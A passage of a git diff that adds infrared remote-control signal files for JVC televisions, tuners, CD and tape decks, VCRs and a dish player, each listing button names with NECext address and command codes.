+address: 1F 00 00 00 +command: DA 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: DD 00 00 00 +# +name: AUX_B +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: E0 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: E1 00 00 00 +# +name: AUX_A +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir new file mode 100644 index 000000000..e48008a80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir new file mode 100644 index 000000000..0aea33c7e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TAPE_FFWD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 06 00 00 00 +# +name: TAPE_REW +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: TAPE_PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0D 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 43 00 00 00 +# +name: TAPE_REC/PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CC 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir new file mode 100644 index 000000000..53ed200f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: DAT_STOP +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 53 00 00 00 +# +name: DAT_FFWD +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 56 00 00 00 +# +name: DAT_REW +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 57 00 00 00 +# +name: DAT_PLAY +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 5C 00 00 00 +# +name: DAT_PAUSE +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 5D 00 00 00 +# +name: DAT_<< +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 68 00 00 00 +# +name: DAT_>> +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 69 00 00 00 +# +name: DAT_0 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 70 00 00 00 +# +name: DAT_1 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 71 00 00 00 +# +name: DAT_2 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 72 00 00 00 +# +name: DAT_3 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 73 00 00 00 +# +name: DAT_4 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 74 00 00 00 +# +name: DAT_5 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 75 00 00 00 +# +name: DAT_6 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 76 00 00 00 +# +name: DAT_7 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 77 00 00 00 +# +name: DAT_8 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 78 00 00 00 +# +name: DAT_9 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 79 00 00 00 +# +name: DAT_10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7E 00 00 00 +# +name: DAT_+10 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir new file mode 100644 index 000000000..ee9142be8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_2_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: SOURCE_SLCT_TAPE2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 07 00 00 00 +# +name: FM_TUNER_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: SOURCE_SLCT_FM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 08 00 00 00 +# +name: AM_TUNER_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: SOURCE_SLCT_AM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 09 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 17 00 00 00 +# +name: TUNER_PRESET- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: TUNER_PRESET-_(-[]) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 18 00 00 00 +# +name: TUNER_PRESET+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: TUNER_PRESET+_(+_>) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 19 00 00 00 +# +name: FADE_MUTING +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 1F 00 00 00 +# +name: TUNER_0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 20 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 21 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 22 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 23 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 24 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 25 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 26 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 27 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 28 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 29 00 00 00 +# +name: TUNER_10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2A 00 00 00 +# +name: TUNER_+10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: SEA_SOURCE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: PHONO_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: SOURCE_SLCT_PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: CD_PLAY_(AND_SELECT) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: SOURCE_SLCT_CD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: TAPE1_PLAY_(SELECT) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: SOURCE_SLCT_TAPE1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURROUND_VOL+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5E 00 00 00 +# +name: SURROUND_VOL- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir new file mode 100644 index 000000000..a29ee23a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: CD_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_DISC_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir new file mode 100644 index 000000000..ebf8e5a9d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir new file mode 100644 index 000000000..f755b55ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_FFWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_REW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: TV_(CONTROL) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: VCR_REC/PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC/PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir new file mode 100644 index 000000000..76a3afef9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 46 00 00 00 +# +name: fast_rewind +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 47 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: Skip_back +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: Skip_forward +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: Reserve +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir new file mode 100644 index 000000000..f69916688 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: Display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: AVStatus +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: TV-Video +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: CursorRight +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: CursorLeft +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: CursorDown +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: CursorUp +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir new file mode 100644 index 000000000..93a381766 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 11 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 76 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir new file mode 100644 index 000000000..80ca02087 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: tvWeb +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: go +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: scrollUp +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: scrollDown +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: personalTv +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: listings +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 31 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 32 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir new file mode 100644 index 000000000..728e4aaba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed 